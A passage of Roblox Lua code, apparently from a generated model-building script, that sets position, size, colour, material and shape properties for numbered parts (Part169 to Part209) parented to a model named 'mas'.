- Part169.CFrame = CFrame.new(7.6695013, 9.28705597, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part169.Orientation = Vector3.new(0, 0, -90)
- Part169.Position = Vector3.new(7.6695013, 9.28705597, 26.9052277)
- Part169.Rotation = Vector3.new(0, 0, -90)
- Part169.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part169.Size = Vector3.new(2.30000019, 10, 10)
- Part169.Anchored = true
- Part169.BottomSurface = Enum.SurfaceType.Smooth
- Part169.BrickColor = BrickColor.new("Institutional white")
- Part169.Material = Enum.Material.DiamondPlate
- Part169.TopSurface = Enum.SurfaceType.Smooth
- Part169.brickColor = BrickColor.new("Institutional white")
- Part169.Shape = Enum.PartType.Cylinder
- Part170.Parent = mas
- Part170.CFrame = CFrame.new(-17.2808914, 11.9370308, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part170.Orientation = Vector3.new(0, 0, -90)
- Part170.Position = Vector3.new(-17.2808914, 11.9370308, 26.9052277)
- Part170.Rotation = Vector3.new(0, 0, -90)
- Part170.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part170.Size = Vector3.new(0.5, 10, 10)
- Part170.Anchored = true
- Part170.BottomSurface = Enum.SurfaceType.Smooth
- Part170.BrickColor = BrickColor.new("Institutional white")
- Part170.Material = Enum.Material.DiamondPlate
- Part170.TopSurface = Enum.SurfaceType.Smooth
- Part170.brickColor = BrickColor.new("Institutional white")
- Part170.Shape = Enum.PartType.Cylinder
- Part171.Parent = mas
- Part171.CFrame = CFrame.new(7.6695013, 11.48703, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part171.Orientation = Vector3.new(0, 0, -90)
- Part171.Position = Vector3.new(7.6695013, 11.48703, 26.9052277)
- Part171.Rotation = Vector3.new(0, 0, -90)
- Part171.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part171.Size = Vector3.new(2.09999752, 9, 9)
- Part171.Anchored = true
- Part171.BottomSurface = Enum.SurfaceType.Smooth
- Part171.BrickColor = BrickColor.new("Really black")
- Part171.Material = Enum.Material.DiamondPlate
- Part171.TopSurface = Enum.SurfaceType.Smooth
- Part171.brickColor = BrickColor.new("Really black")
- Part171.Shape = Enum.PartType.Cylinder
- Part172.Parent = mas
- Part172.CFrame = CFrame.new(7.6695013, 11.9370308, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part172.Orientation = Vector3.new(0, 0, -90)
- Part172.Position = Vector3.new(7.6695013, 11.9370308, 26.9052277)
- Part172.Rotation = Vector3.new(0, 0, -90)
- Part172.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part172.Size = Vector3.new(0.5, 10, 10)
- Part172.Anchored = true
- Part172.BottomSurface = Enum.SurfaceType.Smooth
- Part172.BrickColor = BrickColor.new("Institutional white")
- Part172.Material = Enum.Material.DiamondPlate
- Part172.TopSurface = Enum.SurfaceType.Smooth
- Part172.brickColor = BrickColor.new("Institutional white")
- Part172.Shape = Enum.PartType.Cylinder
- Part173.Parent = mas
- Part173.CFrame = CFrame.new(-17.2808914, 11.48703, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part173.Orientation = Vector3.new(0, 0, -90)
- Part173.Position = Vector3.new(-17.2808914, 11.48703, 26.9052277)
- Part173.Rotation = Vector3.new(0, 0, -90)
- Part173.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part173.Size = Vector3.new(2.09999752, 9, 9)
- Part173.Anchored = true
- Part173.BottomSurface = Enum.SurfaceType.Smooth
- Part173.BrickColor = BrickColor.new("Really black")
- Part173.Material = Enum.Material.DiamondPlate
- Part173.TopSurface = Enum.SurfaceType.Smooth
- Part173.brickColor = BrickColor.new("Really black")
- Part173.Shape = Enum.PartType.Cylinder
- Part174.Parent = mas
- Part174.CFrame = CFrame.new(-4.80555058, 9.28705597, 14.4298401, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part174.Orientation = Vector3.new(0, 90, -90)
- Part174.Position = Vector3.new(-4.80555058, 9.28705597, 14.4298401)
- Part174.Rotation = Vector3.new(-90, 90, 0)
- Part174.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part174.Size = Vector3.new(2.30000019, 10, 10)
- Part174.Anchored = true
- Part174.BottomSurface = Enum.SurfaceType.Smooth
- Part174.BrickColor = BrickColor.new("Institutional white")
- Part174.Material = Enum.Material.DiamondPlate
- Part174.TopSurface = Enum.SurfaceType.Smooth
- Part174.brickColor = BrickColor.new("Institutional white")
- Part174.Shape = Enum.PartType.Cylinder
- Part175.Parent = mas
- Part175.CFrame = CFrame.new(-4.80555058, 23.787056, 14.4298401, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part175.Orientation = Vector3.new(0, 90, -90)
- Part175.Position = Vector3.new(-4.80555058, 23.787056, 14.4298401)
- Part175.Rotation = Vector3.new(-90, 90, 0)
- Part175.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part175.Size = Vector3.new(22.300005, 10, 10)
- Part175.Anchored = true
- Part175.BottomSurface = Enum.SurfaceType.Smooth
- Part175.BrickColor = BrickColor.new("Institutional white")
- Part175.Material = Enum.Material.DiamondPlate
- Part175.TopSurface = Enum.SurfaceType.Smooth
- Part175.brickColor = BrickColor.new("Institutional white")
- Part175.Shape = Enum.PartType.Cylinder
- Part176.Parent = mas
- Part176.CFrame = CFrame.new(-4.80555058, 36.4370728, 14.4298401, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part176.Orientation = Vector3.new(0, 90, 90)
- Part176.Position = Vector3.new(-4.80555058, 36.4370728, 14.4298401)
- Part176.Rotation = Vector3.new(90, 90, 0)
- Part176.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part176.Size = Vector3.new(2.09999752, 9, 9)
- Part176.Anchored = true
- Part176.BottomSurface = Enum.SurfaceType.Smooth
- Part176.BrickColor = BrickColor.new("Really black")
- Part176.Material = Enum.Material.DiamondPlate
- Part176.TopSurface = Enum.SurfaceType.Smooth
- Part176.brickColor = BrickColor.new("Really black")
- Part176.Shape = Enum.PartType.Cylinder
- Part177.Parent = mas
- Part177.CFrame = CFrame.new(29.6922531, 59.0449181, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part177.Orientation = Vector3.new(0, -90, 0)
- Part177.Position = Vector3.new(29.6922531, 59.0449181, 25.0361633)
- Part177.Rotation = Vector3.new(0, -90, 0)
- Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part177.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part177.Anchored = true
- Part177.BottomSurface = Enum.SurfaceType.Smooth
- Part177.BrickColor = BrickColor.new("Black")
- Part177.Material = Enum.Material.Metal
- Part177.TopSurface = Enum.SurfaceType.Smooth
- Part177.brickColor = BrickColor.new("Black")
- Part178.Parent = mas
- Part178.CFrame = CFrame.new(31.4071274, 56.9449348, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part178.Orientation = Vector3.new(0, -135, 0)
- Part178.Position = Vector3.new(31.4071274, 56.9449348, 25.4780731)
- Part178.Rotation = Vector3.new(-180, -45, -180)
- Part178.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part178.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part178.Anchored = true
- Part178.BottomSurface = Enum.SurfaceType.Smooth
- Part178.BrickColor = BrickColor.new("Black")
- Part178.Material = Enum.Material.Metal
- Part178.TopSurface = Enum.SurfaceType.Smooth
- Part178.brickColor = BrickColor.new("Black")
- Part179.Parent = mas
- Part179.CFrame = CFrame.new(31.4071579, 54.844902, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part179.Orientation = Vector3.new(0, 135, 0)
- Part179.Position = Vector3.new(31.4071579, 54.844902, 28.3781281)
- Part179.Rotation = Vector3.new(-180, 45, -180)
- Part179.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part179.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part179.Anchored = true
- Part179.BottomSurface = Enum.SurfaceType.Smooth
- Part179.BrickColor = BrickColor.new("Black")
- Part179.Material = Enum.Material.Metal
- Part179.TopSurface = Enum.SurfaceType.Smooth
- Part179.brickColor = BrickColor.new("Black")
- Part180.Parent = mas
- Part180.CFrame = CFrame.new(29.6922531, 19.1450462, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part180.Orientation = Vector3.new(0, -90, 0)
- Part180.Position = Vector3.new(29.6922531, 19.1450462, 25.0361633)
- Part180.Rotation = Vector3.new(0, -90, 0)
- Part180.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part180.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part180.Anchored = true
- Part180.BottomSurface = Enum.SurfaceType.Smooth
- Part180.BrickColor = BrickColor.new("Black")
- Part180.Material = Enum.Material.Metal
- Part180.TopSurface = Enum.SurfaceType.Smooth
- Part180.brickColor = BrickColor.new("Black")
- Part181.Parent = mas
- Part181.CFrame = CFrame.new(29.6922531, 48.5449944, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part181.Orientation = Vector3.new(0, -90, 0)
- Part181.Position = Vector3.new(29.6922531, 48.5449944, 25.0361633)
- Part181.Rotation = Vector3.new(0, -90, 0)
- Part181.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part181.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part181.Anchored = true
- Part181.BottomSurface = Enum.SurfaceType.Smooth
- Part181.BrickColor = BrickColor.new("Black")
- Part181.Material = Enum.Material.Metal
- Part181.TopSurface = Enum.SurfaceType.Smooth
- Part181.brickColor = BrickColor.new("Black")
- Part182.Parent = mas
- Part182.CFrame = CFrame.new(29.6922531, 12.8450356, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part182.Orientation = Vector3.new(0, -90, 0)
- Part182.Position = Vector3.new(29.6922531, 12.8450356, 25.0361633)
- Part182.Rotation = Vector3.new(0, -90, 0)
- Part182.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part182.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part182.Anchored = true
- Part182.BottomSurface = Enum.SurfaceType.Smooth
- Part182.BrickColor = BrickColor.new("Black")
- Part182.Material = Enum.Material.Metal
- Part182.TopSurface = Enum.SurfaceType.Smooth
- Part182.brickColor = BrickColor.new("Black")
- Part183.Parent = mas
- Part183.CFrame = CFrame.new(31.4071274, 12.8450356, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part183.Orientation = Vector3.new(0, -135, 0)
- Part183.Position = Vector3.new(31.4071274, 12.8450356, 25.4780731)
- Part183.Rotation = Vector3.new(-180, -45, -180)
- Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part183.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part183.Anchored = true
- Part183.BottomSurface = Enum.SurfaceType.Smooth
- Part183.BrickColor = BrickColor.new("Black")
- Part183.Material = Enum.Material.Metal
- Part183.TopSurface = Enum.SurfaceType.Smooth
- Part183.brickColor = BrickColor.new("Black")
- Part184.Parent = mas
- Part184.CFrame = CFrame.new(29.7422714, 52.7449532, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part184.Orientation = Vector3.new(0, -90, 0)
- Part184.Position = Vector3.new(29.7422714, 52.7449532, 28.8362427)
- Part184.Rotation = Vector3.new(0, -90, 0)
- Part184.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part184.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part184.Anchored = true
- Part184.BottomSurface = Enum.SurfaceType.Smooth
- Part184.BrickColor = BrickColor.new("Black")
- Part184.Material = Enum.Material.Metal
- Part184.TopSurface = Enum.SurfaceType.Smooth
- Part184.brickColor = BrickColor.new("Black")
- Part185.Parent = mas
- Part185.CFrame = CFrame.new(29.6922531, 54.844902, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part185.Orientation = Vector3.new(0, -90, 0)
- Part185.Position = Vector3.new(29.6922531, 54.844902, 25.0361633)
- Part185.Rotation = Vector3.new(0, -90, 0)
- Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part185.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part185.Anchored = true
- Part185.BottomSurface = Enum.SurfaceType.Smooth
- Part185.BrickColor = BrickColor.new("Black")
- Part185.Material = Enum.Material.Metal
- Part185.TopSurface = Enum.SurfaceType.Smooth
- Part185.brickColor = BrickColor.new("Black")
- Part186.Parent = mas
- Part186.CFrame = CFrame.new(31.8423386, 54.844902, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part186.Position = Vector3.new(31.8423386, 54.844902, 26.9111938)
- Part186.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part186.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part186.Anchored = true
- Part186.BottomSurface = Enum.SurfaceType.Smooth
- Part186.BrickColor = BrickColor.new("Black")
- Part186.Material = Enum.Material.Metal
- Part186.TopSurface = Enum.SurfaceType.Smooth
- Part186.brickColor = BrickColor.new("Black")
- Part187.Parent = mas
- Part187.CFrame = CFrame.new(31.4071274, 52.7449532, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part187.Orientation = Vector3.new(0, -135, 0)
- Part187.Position = Vector3.new(31.4071274, 52.7449532, 25.4780731)
- Part187.Rotation = Vector3.new(-180, -45, -180)
- Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part187.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part187.Anchored = true
- Part187.BottomSurface = Enum.SurfaceType.Smooth
- Part187.BrickColor = BrickColor.new("Black")
- Part187.Material = Enum.Material.Metal
- Part187.TopSurface = Enum.SurfaceType.Smooth
- Part187.brickColor = BrickColor.new("Black")
- Part188.Parent = mas
- Part188.CFrame = CFrame.new(7.6695013, 23.787056, 26.9052277, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part188.Orientation = Vector3.new(0, 0, -90)
- Part188.Position = Vector3.new(7.6695013, 23.787056, 26.9052277)
- Part188.Rotation = Vector3.new(0, 0, -90)
- Part188.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part188.Size = Vector3.new(22.300005, 10, 10)
- Part188.Anchored = true
- Part188.BottomSurface = Enum.SurfaceType.Smooth
- Part188.BrickColor = BrickColor.new("Institutional white")
- Part188.Material = Enum.Material.DiamondPlate
- Part188.TopSurface = Enum.SurfaceType.Smooth
- Part188.brickColor = BrickColor.new("Institutional white")
- Part188.Shape = Enum.PartType.Cylinder
- Part189.Parent = mas
- Part189.CFrame = CFrame.new(31.4071579, 56.9449348, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part189.Orientation = Vector3.new(0, 135, 0)
- Part189.Position = Vector3.new(31.4071579, 56.9449348, 28.3781281)
- Part189.Rotation = Vector3.new(-180, 45, -180)
- Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part189.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part189.Anchored = true
- Part189.BottomSurface = Enum.SurfaceType.Smooth
- Part189.BrickColor = BrickColor.new("Black")
- Part189.Material = Enum.Material.Metal
- Part189.TopSurface = Enum.SurfaceType.Smooth
- Part189.brickColor = BrickColor.new("Black")
- Part190.Parent = mas
- Part190.CFrame = CFrame.new(31.8423386, 52.7449532, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part190.Position = Vector3.new(31.8423386, 52.7449532, 26.9111938)
- Part190.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part190.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part190.Anchored = true
- Part190.BottomSurface = Enum.SurfaceType.Smooth
- Part190.BrickColor = BrickColor.new("Black")
- Part190.Material = Enum.Material.Metal
- Part190.TopSurface = Enum.SurfaceType.Smooth
- Part190.brickColor = BrickColor.new("Black")
- Part191.Parent = mas
- Part191.CFrame = CFrame.new(29.7422714, 56.9449348, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part191.Orientation = Vector3.new(0, -90, 0)
- Part191.Position = Vector3.new(29.7422714, 56.9449348, 28.8362427)
- Part191.Rotation = Vector3.new(0, -90, 0)
- Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part191.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part191.Anchored = true
- Part191.BottomSurface = Enum.SurfaceType.Smooth
- Part191.BrickColor = BrickColor.new("Black")
- Part191.Material = Enum.Material.Metal
- Part191.TopSurface = Enum.SurfaceType.Smooth
- Part191.brickColor = BrickColor.new("Black")
- Part192.Parent = mas
- Part192.CFrame = CFrame.new(7.6695013, 38.6370621, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part192.Orientation = Vector3.new(0, 0, 90)
- Part192.Position = Vector3.new(7.6695013, 38.6370621, 26.9052277)
- Part192.Rotation = Vector3.new(0, 0, 90)
- Part192.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part192.Size = Vector3.new(2.30000019, 10, 10)
- Part192.Anchored = true
- Part192.BottomSurface = Enum.SurfaceType.Smooth
- Part192.BrickColor = BrickColor.new("Institutional white")
- Part192.Material = Enum.Material.DiamondPlate
- Part192.TopSurface = Enum.SurfaceType.Smooth
- Part192.brickColor = BrickColor.new("Institutional white")
- Part192.Shape = Enum.PartType.Cylinder
- Part193.Parent = mas
- Part193.CFrame = CFrame.new(31.8423386, 56.9449348, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part193.Position = Vector3.new(31.8423386, 56.9449348, 26.9111938)
- Part193.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part193.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part193.Anchored = true
- Part193.BottomSurface = Enum.SurfaceType.Smooth
- Part193.BrickColor = BrickColor.new("Black")
- Part193.Material = Enum.Material.Metal
- Part193.TopSurface = Enum.SurfaceType.Smooth
- Part193.brickColor = BrickColor.new("Black")
- Part194.Parent = mas
- Part194.CFrame = CFrame.new(7.66945553, 35.9871788, 26.90522, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part194.Orientation = Vector3.new(0, 0, 90)
- Part194.Position = Vector3.new(7.66945553, 35.9871788, 26.90522)
- Part194.Rotation = Vector3.new(0, 0, 90)
- Part194.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part194.Size = Vector3.new(0.5, 10, 10)
- Part194.Anchored = true
- Part194.BottomSurface = Enum.SurfaceType.Smooth
- Part194.BrickColor = BrickColor.new("Institutional white")
- Part194.Material = Enum.Material.DiamondPlate
- Part194.TopSurface = Enum.SurfaceType.Smooth
- Part194.brickColor = BrickColor.new("Institutional white")
- Part194.Shape = Enum.PartType.Cylinder
- Part195.Parent = mas
- Part195.CFrame = CFrame.new(31.4071579, 48.5449944, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part195.Orientation = Vector3.new(0, 135, 0)
- Part195.Position = Vector3.new(31.4071579, 48.5449944, 28.3781281)
- Part195.Rotation = Vector3.new(-180, 45, -180)
- Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part195.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part195.Anchored = true
- Part195.BottomSurface = Enum.SurfaceType.Smooth
- Part195.BrickColor = BrickColor.new("Black")
- Part195.Material = Enum.Material.Metal
- Part195.TopSurface = Enum.SurfaceType.Smooth
- Part195.brickColor = BrickColor.new("Black")
- Part196.Parent = mas
- Part196.CFrame = CFrame.new(31.4071274, 48.5449944, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part196.Orientation = Vector3.new(0, -135, 0)
- Part196.Position = Vector3.new(31.4071274, 48.5449944, 25.4780731)
- Part196.Rotation = Vector3.new(-180, -45, -180)
- Part196.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part196.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part196.Anchored = true
- Part196.BottomSurface = Enum.SurfaceType.Smooth
- Part196.BrickColor = BrickColor.new("Black")
- Part196.Material = Enum.Material.Metal
- Part196.TopSurface = Enum.SurfaceType.Smooth
- Part196.brickColor = BrickColor.new("Black")
- Part197.Parent = mas
- Part197.CFrame = CFrame.new(31.8423386, 50.6449852, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part197.Position = Vector3.new(31.8423386, 50.6449852, 26.9111938)
- Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part197.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part197.Anchored = true
- Part197.BottomSurface = Enum.SurfaceType.Smooth
- Part197.BrickColor = BrickColor.new("Black")
- Part197.Material = Enum.Material.Metal
- Part197.TopSurface = Enum.SurfaceType.Smooth
- Part197.brickColor = BrickColor.new("Black")
- Part198.Parent = mas
- Part198.CFrame = CFrame.new(29.6922531, 50.6449852, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part198.Orientation = Vector3.new(0, -90, 0)
- Part198.Position = Vector3.new(29.6922531, 50.6449852, 25.0361633)
- Part198.Rotation = Vector3.new(0, -90, 0)
- Part198.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part198.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part198.Anchored = true
- Part198.BottomSurface = Enum.SurfaceType.Smooth
- Part198.BrickColor = BrickColor.new("Black")
- Part198.Material = Enum.Material.Metal
- Part198.TopSurface = Enum.SurfaceType.Smooth
- Part198.brickColor = BrickColor.new("Black")
- Part199.Parent = mas
- Part199.CFrame = CFrame.new(29.7422714, 48.5449944, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part199.Orientation = Vector3.new(0, -90, 0)
- Part199.Position = Vector3.new(29.7422714, 48.5449944, 28.8362427)
- Part199.Rotation = Vector3.new(0, -90, 0)
- Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part199.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part199.Anchored = true
- Part199.BottomSurface = Enum.SurfaceType.Smooth
- Part199.BrickColor = BrickColor.new("Black")
- Part199.Material = Enum.Material.Metal
- Part199.TopSurface = Enum.SurfaceType.Smooth
- Part199.brickColor = BrickColor.new("Black")
- Part200.Parent = mas
- Part200.CFrame = CFrame.new(7.6695013, 36.4370728, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part200.Orientation = Vector3.new(0, 0, 90)
- Part200.Position = Vector3.new(7.6695013, 36.4370728, 26.9052277)
- Part200.Rotation = Vector3.new(0, 0, 90)
- Part200.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part200.Size = Vector3.new(2.09999752, 9, 9)
- Part200.Anchored = true
- Part200.BottomSurface = Enum.SurfaceType.Smooth
- Part200.BrickColor = BrickColor.new("Really black")
- Part200.Material = Enum.Material.DiamondPlate
- Part200.TopSurface = Enum.SurfaceType.Smooth
- Part200.brickColor = BrickColor.new("Really black")
- Part200.Shape = Enum.PartType.Cylinder
- Part201.Parent = mas
- Part201.CFrame = CFrame.new(29.6922531, 56.9449348, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part201.Orientation = Vector3.new(0, -90, 0)
- Part201.Position = Vector3.new(29.6922531, 56.9449348, 25.0361633)
- Part201.Rotation = Vector3.new(0, -90, 0)
- Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part201.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part201.Anchored = true
- Part201.BottomSurface = Enum.SurfaceType.Smooth
- Part201.BrickColor = BrickColor.new("Black")
- Part201.Material = Enum.Material.Metal
- Part201.TopSurface = Enum.SurfaceType.Smooth
- Part201.brickColor = BrickColor.new("Black")
- Part202.Parent = mas
- Part202.CFrame = CFrame.new(31.4071274, 54.844902, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part202.Orientation = Vector3.new(0, -135, 0)
- Part202.Position = Vector3.new(31.4071274, 54.844902, 25.4780731)
- Part202.Rotation = Vector3.new(-180, -45, -180)
- Part202.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part202.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part202.Anchored = true
- Part202.BottomSurface = Enum.SurfaceType.Smooth
- Part202.BrickColor = BrickColor.new("Black")
- Part202.Material = Enum.Material.Metal
- Part202.TopSurface = Enum.SurfaceType.Smooth
- Part202.brickColor = BrickColor.new("Black")
- Part203.Parent = mas
- Part203.CFrame = CFrame.new(7.6695013, 36.7871971, 26.9052277, 0, -1, 0, 1, 0, 0, 0, 0, 1)
- Part203.Orientation = Vector3.new(0, 0, 90)
- Part203.Position = Vector3.new(7.6695013, 36.7871971, 26.9052277)
- Part203.Rotation = Vector3.new(0, 0, 90)
- Part203.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part203.Size = Vector3.new(0.5, 10, 10)
- Part203.Anchored = true
- Part203.BottomSurface = Enum.SurfaceType.Smooth
- Part203.BrickColor = BrickColor.new("Institutional white")
- Part203.Material = Enum.Material.DiamondPlate
- Part203.TopSurface = Enum.SurfaceType.Smooth
- Part203.brickColor = BrickColor.new("Institutional white")
- Part203.Shape = Enum.PartType.Cylinder
- Part204.Parent = mas
- Part204.CFrame = CFrame.new(31.4071579, 52.7449532, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part204.Orientation = Vector3.new(0, 135, 0)
- Part204.Position = Vector3.new(31.4071579, 52.7449532, 28.3781281)
- Part204.Rotation = Vector3.new(-180, 45, -180)
- Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part204.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part204.Anchored = true
- Part204.BottomSurface = Enum.SurfaceType.Smooth
- Part204.BrickColor = BrickColor.new("Black")
- Part204.Material = Enum.Material.Metal
- Part204.TopSurface = Enum.SurfaceType.Smooth
- Part204.brickColor = BrickColor.new("Black")
- Part205.Parent = mas
- Part205.CFrame = CFrame.new(29.6922531, 52.7449532, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part205.Orientation = Vector3.new(0, -90, 0)
- Part205.Position = Vector3.new(29.6922531, 52.7449532, 25.0361633)
- Part205.Rotation = Vector3.new(0, -90, 0)
- Part205.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part205.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part205.Anchored = true
- Part205.BottomSurface = Enum.SurfaceType.Smooth
- Part205.BrickColor = BrickColor.new("Black")
- Part205.Material = Enum.Material.Metal
- Part205.TopSurface = Enum.SurfaceType.Smooth
- Part205.brickColor = BrickColor.new("Black")
- Part206.Parent = mas
- Part206.CFrame = CFrame.new(31.4071274, 50.6449852, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part206.Orientation = Vector3.new(0, -135, 0)
- Part206.Position = Vector3.new(31.4071274, 50.6449852, 25.4780731)
- Part206.Rotation = Vector3.new(-180, -45, -180)
- Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part206.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part206.Anchored = true
- Part206.BottomSurface = Enum.SurfaceType.Smooth
- Part206.BrickColor = BrickColor.new("Black")
- Part206.Material = Enum.Material.Metal
- Part206.TopSurface = Enum.SurfaceType.Smooth
- Part206.brickColor = BrickColor.new("Black")
- Part207.Parent = mas
- Part207.CFrame = CFrame.new(29.7422714, 50.6449852, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part207.Orientation = Vector3.new(0, -90, 0)
- Part207.Position = Vector3.new(29.7422714, 50.6449852, 28.8362427)
- Part207.Rotation = Vector3.new(0, -90, 0)
- Part207.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part207.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part207.Anchored = true
- Part207.BottomSurface = Enum.SurfaceType.Smooth
- Part207.BrickColor = BrickColor.new("Black")
- Part207.Material = Enum.Material.Metal
- Part207.TopSurface = Enum.SurfaceType.Smooth
- Part207.brickColor = BrickColor.new("Black")
- Part208.Parent = mas
- Part208.CFrame = CFrame.new(31.4071579, 59.0449181, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part208.Orientation = Vector3.new(0, 135, 0)
- Part208.Position = Vector3.new(31.4071579, 59.0449181, 28.3781281)
- Part208.Rotation = Vector3.new(-180, 45, -180)
- Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part208.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part208.Anchored = true
- Part208.BottomSurface = Enum.SurfaceType.Smooth
- Part208.BrickColor = BrickColor.new("Black")
- Part208.Material = Enum.Material.Metal
- Part208.TopSurface = Enum.SurfaceType.Smooth
- Part208.brickColor = BrickColor.new("Black")
- Part209.Parent = mas
- Part209.CFrame = CFrame.new(29.7422714, 54.844902, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part209.Orientation = Vector3.new(0, -90, 0)
- Part209.Position = Vector3.new(29.7422714, 54.844902, 28.8362427)
- Part209.Rotation = Vector3.new(0, -90, 0)
